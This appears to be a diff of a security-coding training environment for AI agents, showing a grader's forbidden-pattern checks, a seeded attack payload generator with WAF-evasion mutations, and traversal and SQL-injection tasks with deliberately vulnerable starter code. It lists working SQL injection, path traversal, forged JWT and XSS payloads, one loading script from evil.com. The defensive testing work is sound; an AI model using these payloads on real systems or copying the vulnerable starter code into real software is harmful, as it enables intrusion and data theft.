+
"patterns": ["eval(", "exec("],
|
| 128 |
+
"message": "eval/exec used — remote code execution risk"},
|
| 129 |
+
],
|
| 130 |
+
"hard_file_upload_handler": [
|
| 131 |
+
{"type": "required_any",
|
| 132 |
+
"patterns": ["uuid"],
|
| 133 |
+
"message": "uuid not used — filename collisions possible"},
|
| 134 |
+
{"type": "required_any",
|
| 135 |
+
"patterns": [".suffix", "splitext", "os.path.splitext"],
|
| 136 |
+
"message": "Extension not checked via proper method"},
|
| 137 |
+
],
|
| 138 |
+
}
|
| 139 |
+
|
| 140 |
+
# Soft checks (no hard cap) — applied to all tasks
|
| 141 |
+
GENERIC_CHECKS = [
|
| 142 |
+
{"type": "forbidden_any", "patterns": ["eval(", "exec("],
|
| 143 |
+
"message": "eval/exec usage", "severity": "HIGH"},
|
| 144 |
+
{"type": "forbidden_any", "patterns": ["shell=True"],
|
| 145 |
+
"message": "shell=True enables command injection", "severity": "HIGH"},
|
| 146 |
+
{"type": "forbidden_any", "patterns": ["pickle.loads", "pickle.load"],
|
| 147 |
+
"message": "Unsafe pickle deserialization", "severity": "HIGH"},
|
| 148 |
+
{"type": "forbidden_any", "patterns": ["yaml.load("],
|
| 149 |
+
"message": "Unsafe yaml.load", "severity": "MEDIUM"},
|
| 150 |
+
{"type": "forbidden_any", "patterns": ["hashlib.md5", "hashlib.sha1"],
|
| 151 |
+
"message": "Weak hash function", "severity": "HIGH"},
|
| 152 |
+
]
|
| 153 |
+
|
| 154 |
+
|
| 155 |
+
def _run_custom_checks(code: str, task: dict) -> dict:
|
| 156 |
issues = []
|
| 157 |
+
hard_fail = False
|
| 158 |
checks_passed = 0
|
| 159 |
total_checks = 0
|
| 160 |
|
| 161 |
+
# Generic checks
|
| 162 |
+
for chk in GENERIC_CHECKS:
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 163 |
total_checks += 1
|
| 164 |
+
found = _check_code(code, chk)
|
| 165 |
if found:
|
| 166 |
+
issues.append({"check": chk["message"], "severity": chk.get("severity","MEDIUM"),
|
| 167 |
+
"message": chk["message"]})
|
| 168 |
else:
|
| 169 |
checks_passed += 1
|
| 170 |
|
| 171 |
+
# Task-specific hard requirements
|
| 172 |
+
task_id = task.get("id", "")
|
| 173 |
+
for req in HARD_REQUIREMENTS.get(task_id, []):
|
| 174 |
total_checks += 1
|
| 175 |
+
violated = _check_requirement_violated(code, req)
|
| 176 |
+
if violated:
|
| 177 |
+
hard_fail = True
|
| 178 |
+
issues.append({"check": req["message"], "severity": "CRITICAL",
|
| 179 |
+
"message": req["message"]})
|
| 180 |
+
else:
|
| 181 |
+
checks_passed += 1
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 182 |
|
| 183 |
score = checks_passed / max(total_checks, 1)
|
| 184 |
+
return {"score": round(score, 4), "issues": issues, "hard_fail": hard_fail}
|
| 185 |
+
|
| 186 |
+
|
| 187 |
+
def _check_code(code: str, chk: dict) -> bool:
|
| 188 |
+
"""Returns True if the violation is found."""
|
| 189 |
+
t = chk.get("type", "")
|
| 190 |
+
if t == "forbidden_any":
|
| 191 |
+
return any(p in code for p in chk.get("patterns", []))
|
| 192 |
+
if t == "required_any":
|
| 193 |
+
return not any(p in code for p in chk.get("patterns", []))
|
| 194 |
+
if t == "forbidden_pattern":
|
| 195 |
+
return bool(re.search(chk.get("regex", "NOMATCH"), code, re.IGNORECASE))
|
| 196 |
+
return False
|
| 197 |
+
|
| 198 |
+
|
| 199 |
+
def _check_requirement_violated(code: str, req: dict) -> bool:
|
| 200 |
+
"""Returns True if requirement is violated (= bad)."""
|
| 201 |
+
t = req.get("type", "")
|
| 202 |
+
if t == "forbidden_any":
|
| 203 |
+
return any(p in code for p in req.get("patterns", []))
|
| 204 |
+
if t == "required_any":
|
| 205 |
+
return not any(p in code for p in req.get("patterns", []))
|
| 206 |
+
if t == "forbidden_pattern":
|
| 207 |
+
return bool(re.search(req.get("regex", "NOMATCH"), code, re.IGNORECASE | re.DOTALL))
|
| 208 |
+
return False
|
| 209 |
+
|
| 210 |
+
|
| 211 |
+
def _feedback(score: float, issues: list, hard_fail: bool) -> str:
|
| 212 |
+
if hard_fail:
|
| 213 |
+
critical = [i["message"] for i in issues if i.get("severity") == "CRITICAL"]
|
| 214 |
+
return f"CRITICAL security violation: {'; '.join(critical[:2])}"
|
| 215 |
+
if score >= 0.9: return "Clean — no significant security issues"
|
| 216 |
high = sum(1 for i in issues if i.get("severity") == "HIGH")
|
| 217 |
+
if high > 0: return f"{high} HIGH severity issue(s) — must fix"
|
| 218 |
+
return f"Some security issues found (score: {score:.2f})"
|
|
|
|
|
|
|
|
|
|
|
|
sandbox/payload_gen.py
CHANGED
|
@@ -1,133 +1,153 @@
|
|
| 1 |
"""
|
| 2 |
-
SecureCodeEnv - Attack Payload Generator
|
| 3 |
-
|
| 4 |
-
|
| 5 |
-
The seed changes every episode, so the agent CANNOT memorize specific strings.
|
| 6 |
"""
|
| 7 |
import random
|
| 8 |
import urllib.parse
|
| 9 |
|
| 10 |
-
|
| 11 |
-
|
| 12 |
-
|
| 13 |
-
|
| 14 |
-
|
| 15 |
-
|
| 16 |
-
|
| 17 |
-
|
| 18 |
-
|
| 19 |
-
|
| 20 |
-
"
|
| 21 |
-
|
| 22 |
-
|
| 23 |
-
|
| 24 |
-
|
| 25 |
-
"
|
| 26 |
-
|
| 27 |
-
|
| 28 |
-
|
| 29 |
-
"
|
| 30 |
-
|
| 31 |
-
|
| 32 |
-
|
| 33 |
-
|
| 34 |
-
|
| 35 |
-
|
| 36 |
-
"
|
| 37 |
-
"
|
| 38 |
-
|
| 39 |
-
|
| 40 |
-
|
| 41 |
-
|
| 42 |
-
|
| 43 |
-
|
| 44 |
-
|
| 45 |
-
|
| 46 |
-
|
| 47 |
-
|
| 48 |
-
|
| 49 |
-
|
| 50 |
-
"
|
| 51 |
-
"
|
| 52 |
-
|
| 53 |
-
|
| 54 |
-
|
| 55 |
-
|
| 56 |
-
|
| 57 |
-
"
|
| 58 |
-
|
| 59 |
-
|
| 60 |
-
|
| 61 |
-
|
| 62 |
-
|
| 63 |
-
|
| 64 |
-
"
|
| 65 |
-
|
| 66 |
-
|
| 67 |
-
|
| 68 |
-
|
| 69 |
-
"
|
| 70 |
-
|
| 71 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 72 |
}
|
| 73 |
|
| 74 |
|
| 75 |
def get_payloads(attack_type: str, seed: int, count: int = 8) -> list[str]:
|
| 76 |
"""
|
| 77 |
-
Returns
|
| 78 |
-
|
| 79 |
-
|
| 80 |
-
|
|
|
|
|
|
|
| 81 |
"""
|
| 82 |
rng = random.Random(seed)
|
| 83 |
-
|
| 84 |
-
|
| 85 |
-
if not base:
|
| 86 |
return []
|
| 87 |
|
| 88 |
-
|
| 89 |
-
|
| 90 |
-
|
|
|
|
| 91 |
|
| 92 |
-
#
|
| 93 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 94 |
|
| 95 |
-
|
| 96 |
-
rng
|
| 97 |
-
|
| 98 |
|
|
|
|
|
|
|
| 99 |
|
| 100 |
-
|
| 101 |
-
|
| 102 |
-
|
| 103 |
-
|
| 104 |
-
|
| 105 |
-
|
| 106 |
-
|
| 107 |
-
lambda p:
|
| 108 |
-
# Case variation
|
| 109 |
-
lambda p: p.upper() if rng.random() > 0.5 else p.swapcase(),
|
| 110 |
-
# SQL comment injection
|
| 111 |
-
lambda p: p.replace("--", "-- ") if "--" in p else p,
|
| 112 |
-
# URL encoding (single pass)
|
| 113 |
-
lambda p: urllib.parse.quote(p[:len(p)//2]) + p[len(p)//2:],
|
| 114 |
-
# Null byte (classic WAF bypass)
|
| 115 |
-
lambda p: p + "%00" if rng.random() > 0.5 else "%00" + p,
|
| 116 |
-
# Double-slash traversal variant
|
| 117 |
-
lambda p: p.replace("../", "..//") if "../" in p else p.replace("..\\", "..\\\\"),
|
| 118 |
-
# Trailing comment
|
| 119 |
-
lambda p: p + rng.choice(["", " --", " #", ";--"]),
|
| 120 |
-
# Unicode confusable for apostrophe
|
| 121 |
lambda p: p.replace("'", "\u02bc") if "'" in p else p,
|
| 122 |
]
|
| 123 |
-
|
| 124 |
-
# Apply 1-3 random mutations
|
| 125 |
-
n_mutations = rng.randint(1, 3)
|
| 126 |
-
chosen = rng.sample(mutations, min(n_mutations, len(mutations)))
|
| 127 |
-
result = payload
|
| 128 |
-
for mut in chosen:
|
| 129 |
try:
|
| 130 |
-
|
| 131 |
except Exception:
|
| 132 |
pass
|
| 133 |
-
return
|
|
|
|
| 1 |
"""
|
| 2 |
+
SecureCodeEnv - Attack Payload Generator v3
|
| 3 |
+
FIXED: Every seed now GUARANTEES URL-encoded + absolute-path payloads
|
| 4 |
+
so that naive string-only checks (if '..' in path) always fail.
|
|
|
|
| 5 |
"""
|
| 6 |
import random
|
| 7 |
import urllib.parse
|
| 8 |
|
| 9 |
+
# Payloads split by bypass class so we always sample from each class
|
| 10 |
+
PAYLOAD_CLASSES = {
|
| 11 |
+
"injection": {
|
| 12 |
+
"basic": [
|
| 13 |
+
"' OR '1'='1",
|
| 14 |
+
"'; DROP TABLE users;--",
|
| 15 |
+
"admin'--",
|
| 16 |
+
"' OR 1=1--",
|
| 17 |
+
"\" OR \"1\"=\"1",
|
| 18 |
+
],
|
| 19 |
+
"union": [
|
| 20 |
+
"1 UNION SELECT * FROM passwords--",
|
| 21 |
+
"1 UNION SELECT null,null,null--",
|
| 22 |
+
"' UNION SELECT username,password FROM users--",
|
| 23 |
+
],
|
| 24 |
+
"stacked": [
|
| 25 |
+
"1; SELECT * FROM information_schema.tables",
|
| 26 |
+
"'; INSERT INTO users VALUES('hacked','hacked')--",
|
| 27 |
+
],
|
| 28 |
+
"comment_variants": [
|
| 29 |
+
"admin'/*",
|
| 30 |
+
"' OR 'x'='x'; --",
|
| 31 |
+
"1 OR 1=1#",
|
| 32 |
+
],
|
| 33 |
+
},
|
| 34 |
+
"traversal": {
|
| 35 |
+
# CRITICAL: class "dot_dot" uses literal ".." - naive check catches these
|
| 36 |
+
"dot_dot": [
|
| 37 |
+
"../../etc/passwd",
|
| 38 |
+
"../../../root/.ssh/id_rsa",
|
| 39 |
+
"....//....//etc/passwd",
|
| 40 |
+
"..\\..\\windows\\system32\\drivers\\etc\\hosts",
|
| 41 |
+
],
|
| 42 |
+
# CRITICAL: class "encoded" bypasses naive ".." string check
|
| 43 |
+
"encoded": [
|
| 44 |
+
"%2e%2e%2f%2e%2e%2fetc%2fpasswd",
|
| 45 |
+
"..%2F..%2Fetc%2Fpasswd",
|
| 46 |
+
"%252e%252e%252fetc%252fpasswd",
|
| 47 |
+
"..%252f..%252fetc%252fpasswd",
|
| 48 |
+
],
|
| 49 |
+
# CRITICAL: class "absolute" - no ".." at all, bypasses string check
|
| 50 |
+
"absolute": [
|
| 51 |
+
"/etc/passwd",
|
| 52 |
+
"/etc/shadow",
|
| 53 |
+
"/root/.ssh/id_rsa",
|
| 54 |
+
"/proc/self/environ",
|
| 55 |
+
],
|
| 56 |
+
"null_byte": [
|
| 57 |
+
"/etc/passwd%00",
|
| 58 |
+
"../etc/passwd\x00.jpg",
|
| 59 |
+
"%00/etc/passwd",
|
| 60 |
+
],
|
| 61 |
+
},
|
| 62 |
+
"auth_bypass": {
|
| 63 |
+
"none_alg": [
|
| 64 |
+
'{"alg":"none"}.payload.',
|
| 65 |
+
'eyJhbGciOiJub25lIn0.payload.',
|
| 66 |
+
'eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhdHRhY2tlciJ9.',
|
| 67 |
+
],
|
| 68 |
+
"expired": [
|
| 69 |
+
'{"exp":1000}.payload.',
|
| 70 |
+
'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyIiwiZXhwIjoxMDAwfQ.fake',
|
| 71 |
+
],
|
| 72 |
+
"tampered": [
|
| 73 |
+
'eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.TAMPERED',
|
| 74 |
+
'null',
|
| 75 |
+
'',
|
| 76 |
+
'eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJhZG1pbiJ9.fake_rs256',
|
| 77 |
+
],
|
| 78 |
+
},
|
| 79 |
+
"xss": {
|
| 80 |
+
"script": [
|
| 81 |
+
"<script>alert('xss')</script>",
|
| 82 |
+
"<script src='http://evil.com/x.js'></script>",
|
| 83 |
+
"</script><script>alert(1)</script>",
|
| 84 |
+
],
|
| 85 |
+
"event": [
|
| 86 |
+
"<img src=x onerror=alert(1)>",
|
| 87 |
+
"<svg onload=alert(1)>",
|
| 88 |
+
"<body onload=alert(1)>",
|
| 89 |
+
],
|
| 90 |
+
"protocol": [
|
| 91 |
+
"javascript:alert(1)",
|
| 92 |
+
"vbscript:alert(1)",
|
| 93 |
+
"data:text/html,<script>alert(1)</script>",
|
| 94 |
+
],
|
| 95 |
+
"template": [
|
| 96 |
+
"{{7*7}}",
|
| 97 |
+
"${7*7}",
|
| 98 |
+
"#{7*7}",
|
| 99 |
+
],
|
| 100 |
+
},
|
| 101 |
}
|
| 102 |
|
| 103 |
|
| 104 |
def get_payloads(attack_type: str, seed: int, count: int = 8) -> list[str]:
|
| 105 |
"""
|
| 106 |
+
Returns seeded-random payloads GUARANTEED to include all bypass classes.
|
| 107 |
+
|
| 108 |
+
For traversal: always includes encoded + absolute payloads so that
|
| 109 |
+
naive '..' string checks always fail on some payloads.
|
| 110 |
+
|
| 111 |
+
count: total payloads. Each class gets floor(count / n_classes) samples.
|
| 112 |
"""
|
| 113 |
rng = random.Random(seed)
|
| 114 |
+
classes = PAYLOAD_CLASSES.get(attack_type, {})
|
| 115 |
+
if not classes:
|
|
|
|
| 116 |
return []
|
| 117 |
|
| 118 |
+
result = []
|
| 119 |
+
class_names = list(classes.keys())
|
| 120 |
+
per_class = max(1, count // len(class_names))
|
| 121 |
+
remainder = count - per_class * len(class_names)
|
| 122 |
|
| 123 |
+
# Sample from EVERY class — guarantees coverage of all bypass techniques
|
| 124 |
+
for cls_name in class_names:
|
| 125 |
+
pool = classes[cls_name]
|
| 126 |
+
n = per_class + (1 if remainder > 0 else 0)
|
| 127 |
+
remainder -= 1
|
| 128 |
+
selected = rng.sample(pool, min(n, len(pool)))
|
| 129 |
+
result.extend(selected)
|
| 130 |
|
| 131 |
+
# Apply mutations to half the payloads
|
| 132 |
+
mutated = [_mutate(p, rng) for p in result[len(result)//2:]]
|
| 133 |
+
final = result[:len(result)//2] + mutated
|
| 134 |
|
| 135 |
+
rng.shuffle(final)
|
| 136 |
+
return final[:count]
|
| 137 |
|
| 138 |
+
|
| 139 |
+
def _mutate(payload: str, rng: random.Random) -> str:
|
| 140 |
+
"""Apply 1-2 evasion mutations."""
|
| 141 |
+
ops = [
|
| 142 |
+
lambda p: p.upper() if rng.random() > 0.5 else p,
|
| 143 |
+
lambda p: p + rng.choice(["", " ", " --", " #"]),
|
| 144 |
+
lambda p: p.replace("../", "..//") if "../" in p else p,
|
| 145 |
+
lambda p: urllib.parse.quote(p[:len(p)//2]) + p[len(p)//2:] if p else p,
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 146 |
lambda p: p.replace("'", "\u02bc") if "'" in p else p,
|
| 147 |
]
|
| 148 |
+
for op in rng.sample(ops, min(2, len(ops))):
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 149 |
try:
|
| 150 |
+
payload = op(payload)
|
| 151 |
except Exception:
|
| 152 |
pass
|
| 153 |
+
return payload
|
tasks/medium/file_path_handler.py
CHANGED
|
@@ -15,93 +15,144 @@ TASK = {
|
|
| 15 |
`resolve_safe_path(base_dir: str, user_path: str) -> str`
|
| 16 |
|
| 17 |
Resolves a user-supplied file path relative to a base directory.
|
| 18 |
-
MUST prevent path traversal
|
| 19 |
|
| 20 |
REQUIREMENTS:
|
| 21 |
- base_dir is the trusted root directory (e.g. '/var/uploads')
|
| 22 |
-
- user_path is
|
| 23 |
-
- Returns the absolute
|
| 24 |
- Raises ValueError if the resolved path escapes base_dir
|
| 25 |
- Raises ValueError if user_path is empty/None
|
| 26 |
-
-
|
| 27 |
-
- Must
|
|
|
|
| 28 |
|
| 29 |
-
|
| 30 |
-
|
| 31 |
-
|
| 32 |
-
|
| 33 |
|
| 34 |
"starter_code": '''import os
|
| 35 |
|
| 36 |
def resolve_safe_path(base_dir: str, user_path: str) -> str:
|
| 37 |
-
#
|
|
|
|
|
|
|
| 38 |
if ".." in user_path:
|
| 39 |
-
raise ValueError("
|
| 40 |
return os.path.join(base_dir, user_path)
|
| 41 |
''',
|
| 42 |
|
| 43 |
"test_cases": [
|
| 44 |
-
{
|
| 45 |
-
|
| 46 |
-
|
| 47 |
-
|
| 48 |
-
|
| 49 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 50 |
],
|
| 51 |
|
| 52 |
"attack_type": "traversal",
|
| 53 |
|
| 54 |
-
"attack_config": {
|
| 55 |
-
"fn_name": "resolve_safe_path",
|
| 56 |
-
"fn_args_template": ["/var/uploads", "{payload}"],
|
| 57 |
-
"check": lambda result, payload: (
|
| 58 |
-
result is None or
|
| 59 |
-
(isinstance(result, str) and "/etc" not in result and "/root" not in result and ".." not in result)
|
| 60 |
-
),
|
| 61 |
-
"exception_counts_as_blocked": True,
|
| 62 |
-
},
|
| 63 |
-
|
| 64 |
"security_checks": [
|
| 65 |
-
{"type": "
|
| 66 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
| 67 |
],
|
| 68 |
|
| 69 |
"naive_code": '''import os
|
| 70 |
def resolve_safe_path(base_dir: str, user_path: str) -> str:
|
| 71 |
-
if
|
| 72 |
-
|
| 73 |
-
return os.path.join(base_dir, user_path
|
| 74 |
''',
|
| 75 |
|
| 76 |
"optimal_code": '''import os
|
| 77 |
from pathlib import Path
|
| 78 |
|
| 79 |
def resolve_safe_path(base_dir: str, user_path: str) -> str:
|
| 80 |
-
"""Resolves
|
| 81 |
|
| 82 |
Args:
|
| 83 |
base_dir: Trusted root directory
|
| 84 |
-
user_path: Untrusted user-supplied path
|
| 85 |
|
| 86 |
Returns:
|
| 87 |
-
Absolute resolved path guaranteed to be inside base_dir
|
| 88 |
|
| 89 |
Raises:
|
| 90 |
-
ValueError: If path escapes base_dir or is invalid
|
| 91 |
"""
|
| 92 |
if not user_path:
|
| 93 |
raise ValueError("user_path must not be empty or None")
|
| 94 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 95 |
base = Path(base_dir).resolve()
|
| 96 |
-
# Join and resolve — this handles ../../ and symlinks
|
| 97 |
resolved = (base / user_path).resolve()
|
| 98 |
|
| 99 |
-
#
|
| 100 |
try:
|
| 101 |
-
resolved.relative_to(base)
|
|
|
|
|
|
|
| 102 |
except ValueError:
|
| 103 |
raise ValueError(
|
| 104 |
-
f"Path traversal detected:
|
| 105 |
)
|
| 106 |
|
| 107 |
return str(resolved)
|
|
|
|
| 15 |
`resolve_safe_path(base_dir: str, user_path: str) -> str`
|
| 16 |
|
| 17 |
Resolves a user-supplied file path relative to a base directory.
|
| 18 |
+
MUST prevent ALL forms of path traversal.
|
| 19 |
|
| 20 |
REQUIREMENTS:
|
| 21 |
- base_dir is the trusted root directory (e.g. '/var/uploads')
|
| 22 |
+
- user_path is UNTRUSTED input from the user
|
| 23 |
+
- Returns the absolute resolved path ONLY if it stays strictly inside base_dir
|
| 24 |
- Raises ValueError if the resolved path escapes base_dir
|
| 25 |
- Raises ValueError if user_path is empty/None
|
| 26 |
+
- MUST use os.path.realpath() or pathlib.Path.resolve() — NOT string manipulation
|
| 27 |
+
- Must also block: absolute paths (/etc/passwd), URL-encoded paths (%2e%2e),
|
| 28 |
+
null bytes, and paths that resolve to base_dir itself (must be INSIDE)
|
| 29 |
|
| 30 |
+
WHY string checks fail:
|
| 31 |
+
'../' → raises (good), but '%2e%2e%2f' → passes (bad)
|
| 32 |
+
You MUST resolve first, then check if inside base_dir.
|
| 33 |
+
""",
|
| 34 |
|
| 35 |
"starter_code": '''import os
|
| 36 |
|
| 37 |
def resolve_safe_path(base_dir: str, user_path: str) -> str:
|
| 38 |
+
# BUG: string check only — bypassed by %2e%2e, /etc/passwd, etc.
|
| 39 |
+
if not user_path:
|
| 40 |
+
raise ValueError("empty")
|
| 41 |
if ".." in user_path:
|
| 42 |
+
raise ValueError("traversal")
|
| 43 |
return os.path.join(base_dir, user_path)
|
| 44 |
''',
|
| 45 |
|
| 46 |
"test_cases": [
|
| 47 |
+
{
|
| 48 |
+
"fn": "resolve_safe_path",
|
| 49 |
+
"input": ["/var/uploads", "report.pdf"],
|
| 50 |
+
"expected_contains": "/var/uploads/report.pdf",
|
| 51 |
+
"description": "Safe path resolves correctly"
|
| 52 |
+
},
|
| 53 |
+
{
|
| 54 |
+
"fn": "resolve_safe_path",
|
| 55 |
+
"input": ["/var/uploads", "sub/file.txt"],
|
| 56 |
+
"expected_contains": "/var/uploads/sub/file.txt",
|
| 57 |
+
"description": "Safe subdirectory"
|
| 58 |
+
},
|
| 59 |
+
{
|
| 60 |
+
"fn": "resolve_safe_path",
|
| 61 |
+
"input": ["/var/uploads", "../../etc/passwd"],
|
| 62 |
+
"expected_exception": "ValueError",
|
| 63 |
+
"description": "Classic traversal blocked"
|
| 64 |
+
},
|
| 65 |
+
{
|
| 66 |
+
"fn": "resolve_safe_path",
|
| 67 |
+
"input": ["/var/uploads", "/etc/passwd"],
|
| 68 |
+
"expected_exception": "ValueError",
|
| 69 |
+
"description": "Absolute path escape blocked"
|
| 70 |
+
},
|
| 71 |
+
{
|
| 72 |
+
"fn": "resolve_safe_path",
|
| 73 |
+
"input": ["/var/uploads", ""],
|
| 74 |
+
"expected_exception": "ValueError",
|
| 75 |
+
"description": "Empty path raises ValueError"
|
| 76 |
+
},
|
| 77 |
+
{
|
| 78 |
+
"fn": "resolve_safe_path",
|
| 79 |
+
"input": ["/var/uploads", None],
|
| 80 |
+
"expected_exception": "ValueError",
|
| 81 |
+
"description": "None path raises ValueError"
|
| 82 |
+
},
|
| 83 |
+
{
|
| 84 |
+
"fn": "resolve_safe_path",
|
| 85 |
+
"input": ["/var/uploads", "....//....//etc/passwd"],
|
| 86 |
+
"expected_exception": "ValueError",
|
| 87 |
+
"description": "Double-dot variant blocked"
|
| 88 |
+
},
|
| 89 |
+
{
|
| 90 |
+
"fn": "resolve_safe_path",
|
| 91 |
+
"input": ["/var/uploads", "/var/uploads/../../../etc/passwd"],
|
| 92 |
+
"expected_exception": "ValueError",
|
| 93 |
+
"description": "Traversal via absolute path blocked"
|
| 94 |
+
},
|
| 95 |
],
|
| 96 |
|
| 97 |
"attack_type": "traversal",
|
| 98 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 99 |
"security_checks": [
|
| 100 |
+
{"type": "required_any",
|
| 101 |
+
"patterns": ["resolve()", ".resolve", "realpath"],
|
| 102 |
+
"message": "Must use Path.resolve() or os.path.realpath()"},
|
| 103 |
+
{"type": "forbidden_any",
|
| 104 |
+
"patterns": ['"..\" in', "'..' in"],
|
| 105 |
+
"message": "String '..' check is insufficient — use Path.resolve()"},
|
| 106 |
],
|
| 107 |
|
| 108 |
"naive_code": '''import os
|
| 109 |
def resolve_safe_path(base_dir: str, user_path: str) -> str:
|
| 110 |
+
if not user_path: raise ValueError("empty")
|
| 111 |
+
if ".." in user_path: raise ValueError("traversal")
|
| 112 |
+
return os.path.join(base_dir, user_path)
|
| 113 |
''',
|
| 114 |
|
| 115 |
"optimal_code": '''import os
|
| 116 |
from pathlib import Path
|
| 117 |
|
| 118 |
def resolve_safe_path(base_dir: str, user_path: str) -> str:
|
| 119 |
+
"""Resolves user path within base_dir, preventing all traversal forms.
|
| 120 |
|
| 121 |
Args:
|
| 122 |
base_dir: Trusted root directory
|
| 123 |
+
user_path: Untrusted user-supplied path (may contain .., encoded chars)
|
| 124 |
|
| 125 |
Returns:
|
| 126 |
+
Absolute resolved path guaranteed to be strictly inside base_dir
|
| 127 |
|
| 128 |
Raises:
|
| 129 |
+
ValueError: If path escapes base_dir, is empty, or is invalid
|
| 130 |
"""
|
| 131 |
if not user_path:
|
| 132 |
raise ValueError("user_path must not be empty or None")
|
| 133 |
|
| 134 |
+
# URL-decode to catch %2e%2e style attacks before resolution
|
| 135 |
+
try:
|
| 136 |
+
from urllib.parse import unquote
|
| 137 |
+
user_path = unquote(str(user_path))
|
| 138 |
+
except Exception:
|
| 139 |
+
pass
|
| 140 |
+
|
| 141 |
+
# Null byte attack prevention
|
| 142 |
+
if "\\x00" in user_path or "%00" in user_path:
|
| 143 |
+
raise ValueError("Null byte in path")
|
| 144 |
+
|
| 145 |
base = Path(base_dir).resolve()
|
|
|
|
| 146 |
resolved = (base / user_path).resolve()
|
| 147 |
|
| 148 |
+
# Critical: must be strictly INSIDE base, not equal to base
|
| 149 |
try:
|
| 150 |
+
relative = resolved.relative_to(base)
|
| 151 |
+
if str(relative) == ".":
|
| 152 |
+
raise ValueError("Path resolves to base directory itself")
|
| 153 |
except ValueError:
|
| 154 |
raise ValueError(
|
| 155 |
+
f"Path traversal detected: resolves outside {base_dir!r}"
|
| 156 |
)
|
| 157 |
|
| 158 |
return str(resolved)
|
tasks/medium/sql_query_builder.py
CHANGED
|
@@ -18,50 +18,84 @@ Builds a parameterized SQL query to fetch a user by username and role.
|
|
| 18 |
|
| 19 |
REQUIREMENTS:
|
| 20 |
- Returns a tuple: (query_string, params_tuple)
|
| 21 |
-
-
|
| 22 |
-
-
|
| 23 |
-
- Must
|
| 24 |
-
- Must
|
| 25 |
-
- The
|
| 26 |
-
|
| 27 |
-
|
| 28 |
-
|
| 29 |
-
cursor.execute(query, params) # Must be safe from SQL injection
|
| 30 |
-
|
| 31 |
-
NEVER do: f"SELECT * FROM users WHERE username = '{username}'"
|
| 32 |
-
NEVER do: "SELECT * FROM users WHERE username = '" + username + "'"
|
| 33 |
""",
|
| 34 |
|
| 35 |
"starter_code": '''def build_user_query(username: str, role: str):
|
| 36 |
-
#
|
| 37 |
query = f"SELECT * FROM users WHERE username = \'{username}\' AND role = \'{role}\'"
|
| 38 |
return query
|
| 39 |
''',
|
| 40 |
|
| 41 |
"test_cases": [
|
| 42 |
-
{
|
| 43 |
-
|
| 44 |
-
|
| 45 |
-
|
| 46 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 47 |
],
|
| 48 |
|
| 49 |
"attack_type": "injection",
|
| 50 |
|
| 51 |
-
"attack_config": {
|
| 52 |
-
"fn_name": "build_user_query",
|
| 53 |
-
"fn_args_template": ["{payload}", "admin"],
|
| 54 |
-
"check": lambda result, payload: (
|
| 55 |
-
isinstance(result, tuple) and
|
| 56 |
-
len(result) == 2 and
|
| 57 |
-
# The query string must use placeholders — injection payload must NOT appear in query
|
| 58 |
-
(payload not in str(result[0])) and
|
| 59 |
-
("%s" in result[0] or "?" in result[0])
|
| 60 |
-
),
|
| 61 |
-
},
|
| 62 |
-
|
| 63 |
"security_checks": [
|
| 64 |
-
{"type": "no_string_format_sql",
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 65 |
],
|
| 66 |
|
| 67 |
"naive_code": '''def build_user_query(username: str, role: str):
|
|
@@ -84,7 +118,7 @@ def build_user_query(username: str, role: str) -> tuple:
|
|
| 84 |
Raises:
|
| 85 |
ValueError: If role is not in the allowed set
|
| 86 |
"""
|
| 87 |
-
if role not in ALLOWED_ROLES:
|
| 88 |
raise ValueError(f"Invalid role: {role!r}. Must be one of {ALLOWED_ROLES}")
|
